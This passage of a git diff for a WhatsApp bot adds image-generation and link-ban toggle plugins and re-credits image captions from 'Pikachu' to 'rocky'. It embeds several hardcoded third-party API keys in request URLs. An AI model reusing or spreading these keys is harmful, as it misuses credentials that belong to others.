Kazhinn Yanthankilum Eyuth muthe\n🙄🙄🙄" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'leavest ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://api.zeks.xyz/api/leavest?apikey=Upe1Fp1lDAtX0ioPYLEPsSoX51i&text1=Pikachu&text2=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'leavest ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://api.zeks.xyz/api/leavest?apikey=Upe1Fp1lDAtX0ioPYLEPsSoX51i&text1=Pikachu&text2=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); + +} diff --git a/plugins/linkvar.js b/plugins/linkvar.js new file mode 100644 index 0000000000..19171c6c72 --- /dev/null +++ b/plugins/linkvar.js @@ -0,0 +1,50 @@ +/* Copyright (C) 2020 av +aanshad +*/ + +const Asena = require('../events'); +const config = require('../config'); +const Heroku = require('heroku-client'); +const heroku = new Heroku({ + token: config.HEROKU.API_KEY +}); +let baseURI = '/apps/' + config.HEROKU.APP_NAME; + + var l_dsc = '' + var alr_on = '' + var alr_off = '' + var TLINK_on = '' + var TLINK_off = '' + + if (config.LANG == 'EN') { + l_dsc = 'remove for all link' + alr_on = '!' + alr_off = '!' + LINKT_on = '*M_LINK TURNED ON*' + LINKT_off = '*M_LINK TURNED OFF*' + } + if (config.LANG == 'ML') { + l_dsc = '.' + alr_on = '!' + alr_off = '!' + LINKT_on = 'M_LINK TURNED ON' + LINKT_off = 'M_LINK TURNED Off' + } + + Asena.addCommand({pattern: 'mlink ?(.*)', fromMe: true, desc: l_dsc, usage: '.mlink on / of' }, (async (message, match) => { + if (match[1] == 'off') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['ALL_LINK_BAN']: 'false' + } + }); + await message.sendMessage(LINKT_off) + } else if (match[1] == 'on') { + await heroku.patch(baseURI + '/config-vars', { + body: { + ['ALL_LINK_BAN']: 'true' + } + }); + await message.sendMessage(LINKT_on) + } + })); diff --git a/plugins/logo.js b/plugins/logo.js index 345f6ce25f..2e701b1b90 100644 --- a/plugins/logo.js +++ b/plugins/logo.js @@ -15,7 +15,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as - await message.sendMessage('\n``` ⏺️Some plugins are not working🙂 because of api issues by Pikachu.```\n\n\n🧚‍♻️Usage: *.glitch*\n🛠️Desc: It Sends a glitch style image of the text provided\nYou must enter the heading and subheading seperated by */* in order!.\n\n🧚‍♻️Usage: *.gradient*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *.vintage*\n🛠️Desc: it makes Vintage text\n\n🧚‍♻️Usage: *.glue*\n🛠️Desc: it makes 3D Glue text\n\n🧚‍♻️Usage: *.balloon*\n🛠️Desc: it makes Balloon text\n\n🧚‍♻️Usage: *.1917*\n🛠️Desc: it makes 1917 font text\n\n🧚‍♻️Usage: *.holo*\n🛠️Desc: it makes 3D holographic text\n\n🧚‍♻️Usage: *.silver*\n🛠️Desc: it makes silver metal text\n\n🧚‍♻️Usage: *.blue*\n🛠️Desc: it makes Blue metal text\n\n🧚‍♻️Usage: *.fabric*\n🛠️Desc: it makes Fabric text\n\n🧚‍♻️Usage: *.avengers*\n🛠️Desc: it makes avengers text\n\n🧚‍♻️Usage: *.logomarvel*\n🛠️Desc: it makes Marvel logo text\n\n🧚‍♻️Usage: *.silvermetal*\n🛠️Desc: it makes silver metal text\n\n🧚‍♻️Usage: *.rosegold*\n🛠️Desc: it makes Rose gold text\n\n🧚‍♻️Usage: *.metalgold*\n🛠️Desc:it makes metal gold text\n\n🧚‍♻️Usage: *.galaxy*\n🛠️Desc: it makes metal galaxy text\n\n🧚‍♻️Usage: *.lion*\n🛠️Desc: it makes Lion logo\n\n🧚‍♻️Usage: *.joker*\n🛠️Desc: it makes joker logo text\n\n🧚‍♻️Usage: *.leaves*\n🛠️Desc: it makes leaves text\n\n🧚‍♻️Usage: skull*\n🛠️Desc: it makes skull logo\n\n🧚‍♻️Usage: *.robot*\n🛠️Desc: it makes Robot logo\n\n🧚‍♻️Usage: *.toxic*\n🛠️Desc: it makes Toxic logo\n\n🧚‍♻️Usage: *rainbow*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *orangeglass*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *.luxury*\n🛠️Desc: it makes luxury text\n\n🧚‍♻️Usage: *.pubg*\n🛠️Desc: It Sends Pubg Logo with text\n\n🧚‍♻️Usage: *.marvel*\n🛠️Desc: It Sends marvel logo type\n\n🧚‍♻️Usage: *.google*\n🛠️Desc: It Sends a google suggest\n\n🧚‍♻️Usage: *.fire*\n🛠️Desc: It Sends a fire logo\n\n🧚‍♻️Usage: *.banner*\n🛠️Desc: It Sends a banner text\n\n🧚‍♻️Usage: *.coffeecup*\n🛠️Desc: It Send a coffeecup image\n\n🧚‍♻️Usage: *.battle*\n🛠️Desc: It Sends a battle logo\n\n🧚‍♻️Usage: *.silk*\n🛠️Desc: It Sends a silk text\n\n 🧚‍♻️Usage: *.underwater*\n🛠️Desc: It Sends a ocean image of the text provided\n\n🧚‍♻️Usage: *.hub*\n🛠️Desc: It Sends a blackish orange coloured image of the text provided.\nYou must enter the heading and subheading seperated by */* in order!.\n\n🧚‍♻️Usage: *.sandwriting*\n🛠️Desc: It Sends a sand image of the text provided.\n\n🧚‍♻️Usage: *.blackpink*\n🛠️Desc: It Sends a blackish pink image of the text provided.\n\n🧚‍♻️Usage: *.lovemsg*\n🛠️Desc: It Sends love message style image of the text provided.\n\n🧚‍♻️Usage: *.grass*\n🛠️Desc: It Sends a grass image of the text provided.\n\n🧚‍♻️Usage: *.blood*\n🛠️Desc: It Sends a blood image of the text provided.\n\n🧚‍♻️Usage: *.romance*\n🛠️Desc: It Sends a green image with love shapes of the text provided.\n\n🧚‍♻️Usage: *.candlemug*\n🛠️Desc: It Sends a mug image of the text provided.\n\n🧚‍♻️Usage: *.snow*\n🛠️Desc: It Sends a snow image of the text provided.\n\n🧚‍♻️Usage: *.cloud*\n🛠️Desc: It Sends a sky image of the text provided\n\n🧚‍♻️Usage: *.flower*\n🛠️Desc: It Sends a flower image of the text provided\n\n🧚‍♻️Usage: *.burn*\n🛠️Desc: It Sends a half burned paper image of the text provided\n\n🧚‍♻️Usage: *.candy*\n🛠️Desc: It Sends a candy image of the text provided\n\n🧚‍♻️Usage: *.wood*\n🛠️Desc: It Sends a wood carved image of the text provided.\n\n🧚‍♻️Usage: *.latte*\n🛠️Desc: It put the text as latte art within a coffee cup.\n\n🧚‍♻️Usage: *.8bit*\n🛠️Desc: Converts the text into an 8bit style image.\nYou must enter the heading and subheading seperated by */* in order!\n\n🧚‍♻️Usage: *.shadow*\n🛠️Desc: Converts the text into shadow themed image.\n\n🧚‍♻️Usage: *.harrypotter*\n🛠️Desc: Converts the text into a harrypotter themed image.\n\n🧚‍♻️Usage: *.sparkling*\n🛠️Desc: Converts the text into a sparkling themed image\nYou must enter the heading and subheading seperated by */* in order!\n\n🧚‍♻️Usage: *.watercolour*\n🛠️Desc: Converts the text into a watercolour themed image.\n\n🧚‍♻️Usage: *.ninjalogo*\n🛠️Desc: Enters the text as the caption for a ninja themed logo.\n\n🧚‍♻️Usage: *.neonlight*\n🛠️Desc: Converts the text into a neonlight themed image.\n\n🧚‍♻️Usage: *.3dtext*\n🛠️Desc: Converts the provided text into a 3D style image.'); + await message.sendMessage('\n``` ⏺️Some plugins are not working🙂 because of api issues by rocky.```\n\n\n🧚‍♻️Usage: *.glitch*\n🛠️Desc: It Sends a glitch style image of the text provided\nYou must enter the heading and subheading seperated by */* in order!.\n\n🧚‍♻️Usage: *.gradient*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *.vintage*\n🛠️Desc: it makes Vintage text\n\n🧚‍♻️Usage: *.glue*\n🛠️Desc: it makes 3D Glue text\n\n🧚‍♻️Usage: *.balloon*\n🛠️Desc: it makes Balloon text\n\n🧚‍♻️Usage: *.1917*\n🛠️Desc: it makes 1917 font text\n\n🧚‍♻️Usage: *.holo*\n🛠️Desc: it makes 3D holographic text\n\n🧚‍♻️Usage: *.silver*\n🛠️Desc: it makes silver metal text\n\n🧚‍♻️Usage: *.blue*\n🛠️Desc: it makes Blue metal text\n\n🧚‍♻️Usage: *.fabric*\n🛠️Desc: it makes Fabric text\n\n🧚‍♻️Usage: *.avengers*\n🛠️Desc: it makes avengers text\n\n🧚‍♻️Usage: *.logomarvel*\n🛠️Desc: it makes Marvel logo text\n\n🧚‍♻️Usage: *.silvermetal*\n🛠️Desc: it makes silver metal text\n\n🧚‍♻️Usage: *.rosegold*\n🛠️Desc: it makes Rose gold text\n\n🧚‍♻️Usage: *.metalgold*\n🛠️Desc:it makes metal gold text\n\n🧚‍♻️Usage: *.galaxy*\n🛠️Desc: it makes metal galaxy text\n\n🧚‍♻️Usage: *.lion*\n🛠️Desc: it makes Lion logo\n\n🧚‍♻️Usage: *.joker*\n🛠️Desc: it makes joker logo text\n\n🧚‍♻️Usage: *.leaves*\n🛠️Desc: it makes leaves text\n\n🧚‍♻️Usage: skull*\n🛠️Desc: it makes skull logo\n\n🧚‍♻️Usage: *.robot*\n🛠️Desc: it makes Robot logo\n\n🧚‍♻️Usage: *.toxic*\n🛠️Desc: it makes Toxic logo\n\n🧚‍♻️Usage: *rainbow*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *orangeglass*\n🛠️Desc: it makes gradient text\n\n🧚‍♻️Usage: *.luxury*\n🛠️Desc: it makes luxury text\n\n🧚‍♻️Usage: *.pubg*\n🛠️Desc: It Sends Pubg Logo with text\n\n🧚‍♻️Usage: *.marvel*\n🛠️Desc: It Sends marvel logo type\n\n🧚‍♻️Usage: *.google*\n🛠️Desc: It Sends a google suggest\n\n🧚‍♻️Usage: *.fire*\n🛠️Desc: It Sends a fire logo\n\n🧚‍♻️Usage: *.banner*\n🛠️Desc: It Sends a banner text\n\n🧚‍♻️Usage: *.coffeecup*\n🛠️Desc: It Send a coffeecup image\n\n🧚‍♻️Usage: *.battle*\n🛠️Desc: It Sends a battle logo\n\n🧚‍♻️Usage: *.silk*\n🛠️Desc: It Sends a silk text\n\n 🧚‍♻️Usage: *.underwater*\n🛠️Desc: It Sends a ocean image of the text provided\n\n🧚‍♻️Usage: *.hub*\n🛠️Desc: It Sends a blackish orange coloured image of the text provided.\nYou must enter the heading and subheading seperated by */* in order!.\n\n🧚‍♻️Usage: *.sandwriting*\n🛠️Desc: It Sends a sand image of the text provided.\n\n🧚‍♻️Usage: *.blackpink*\n🛠️Desc: It Sends a blackish pink image of the text provided.\n\n🧚‍♻️Usage: *.lovemsg*\n🛠️Desc: It Sends love message style image of the text provided.\n\n🧚‍♻️Usage: *.grass*\n🛠️Desc: It Sends a grass image of the text provided.\n\n🧚‍♻️Usage: *.blood*\n🛠️Desc: It Sends a blood image of the text provided.\n\n🧚‍♻️Usage: *.romance*\n🛠️Desc: It Sends a green image with love shapes of the text provided.\n\n🧚‍♻️Usage: *.candlemug*\n🛠️Desc: It Sends a mug image of the text provided.\n\n🧚‍♻️Usage: *.snow*\n🛠️Desc: It Sends a snow image of the text provided.\n\n🧚‍♻️Usage: *.cloud*\n🛠️Desc: It Sends a sky image of the text provided\n\n🧚‍♻️Usage: *.flower*\n🛠️Desc: It Sends a flower image of the text provided\n\n🧚‍♻️Usage: *.burn*\n🛠️Desc: It Sends a half burned paper image of the text provided\n\n🧚‍♻️Usage: *.candy*\n🛠️Desc: It Sends a candy image of the text provided\n\n🧚‍♻️Usage: *.wood*\n🛠️Desc: It Sends a wood carved image of the text provided.\n\n🧚‍♻️Usage: *.latte*\n🛠️Desc: It put the text as latte art within a coffee cup.\n\n🧚‍♻️Usage: *.8bit*\n🛠️Desc: Converts the text into an 8bit style image.\nYou must enter the heading and subheading seperated by */* in order!\n\n🧚‍♻️Usage: *.shadow*\n🛠️Desc: Converts the text into shadow themed image.\n\n🧚‍♻️Usage: *.harrypotter*\n🛠️Desc: Converts the text into a harrypotter themed image.\n\n🧚‍♻️Usage: *.sparkling*\n🛠️Desc: Converts the text into a sparkling themed image\nYou must enter the heading and subheading seperated by */* in order!\n\n🧚‍♻️Usage: *.watercolour*\n🛠️Desc: Converts the text into a watercolour themed image.\n\n🧚‍♻️Usage: *.ninjalogo*\n🛠️Desc: Enters the text as the caption for a ninja themed logo.\n\n🧚‍♻️Usage: *.neonlight*\n🛠️Desc: Converts the text into a neonlight themed image.\n\n🧚‍♻️Usage: *.3dtext*\n🛠️Desc: Converts the provided text into a 3D style image.'); })); @@ -49,7 +49,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dluxury?text=${match[1]}&APIKEY=f3eaf19231f6201c`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -73,7 +73,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://videfikri.com/api/textmaker/pubgmlogo/?text1=${topText}&text2=${bottomText}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -83,7 +83,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dgradient?text=${match[1]}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -93,7 +93,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/realisticvintage?text=${match[1]}&APIKEY=f3eaf19231f6201c`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -103,7 +103,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/summerysandwriting?text=${match[1]}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -115,7 +115,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/metaldarkgold?text=${match[1]}&APIKEY=f3eaf19231f6201c`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -125,7 +125,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/1917?text=${match[1]}&APIKEY=f3eaf19231f6201c`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -135,7 +135,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/holographic3d?text=${match[1]}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -145,7 +145,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/deluxesilver?text=${match[1]}&APIKEY=f3eaf19231f6201c`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -155,7 +155,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/glossybluemetal?text=${match[1]}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -165,7 +165,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/fabric?text=${match[1]}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -189,7 +189,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3davengers?text=${topText}&text2=${bottomText}&APIKEY=d9f297dbf7b0bbf4`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -213,7 +213,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/marvel?text=${topText}&text2=${bottomText}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -237,7 +237,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dmetalsilver?text=${topText}&text2=${bottomText}&APIKEY=260d649b8633836f`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -247,7 +247,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dglue?text=${match[1]}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -257,7 +257,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/balloontext?text=${match[1]}&APIKEY=d0d75df1a38b05bd`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -281,7 +281,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3drosegold?text=${topText}&text2=${bottomText}&APIKEY=917058a2392ad776`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -305,7 +305,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dmetalgold?text=${topText}&text2=${bottomText}&APIKEY=d0d75df1a38b05bd`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -329,7 +329,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/lionlogomascot?text=${topText}&text2=${bottomText}&APIKEY=d0d75df1a38b05bd`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -353,7 +353,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/3dmetalgalaxy?text=${topText}&text2=${bottomText}&APIKEY=d0d75df1a38b05bd`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -363,7 +363,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/jokerlogo?text=${match[1]}&APIKEY=7f40eb6965e90926`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -373,7 +373,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/naturalleaves?text=${match[1]}&APIKEY=7f40eb6965e90926`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -383,7 +383,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/skeleton?text=${match[1]}&APIKEY=917058a2392ad776`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -393,7 +393,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/robotr2d2?text=${match[1]}&APIKEY=7f40eb6965e90926`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -403,7 +403,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/toxic?text=${match[1]}&APIKEY=7f40eb6965e90926`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -413,7 +413,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/rainbowequalizer?text=${match[1]}&APIKEY=917058a2392ad776`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -423,7 +423,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/orangeglass?text=${match[1]}&APIKEY=7f40eb6965e90926`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -447,7 +447,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://api.xteam.xyz/textpro/marvelstudios?text=${topText}&text2=${bottomText}&APIKEY=c809c9b2f07400c2`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -457,7 +457,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://videfikri.com/api/textmaker/coffeecup/?text=${match[1]}`, { responseType: 'arraybuffer' }) - await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by Pikachu```'}) + await message.client.sendMessage(message.jid,Buffer.from(webimage.data), MessageType.image, {mimetype: Mimetype.jpg, caption: '```Made by rocky```'}) })); @@ -469,7 +469,7 @@ Asena.addCommand({pattern: 'logo', fromMe: false, desc: Lang.TXTTOIMG_DESC}, (as var webimage = await axios.get(`https://videfikri.com/api/textmaker/wanted/?text=${match[1]}`, { responseType: 'arraybuffer' }) - 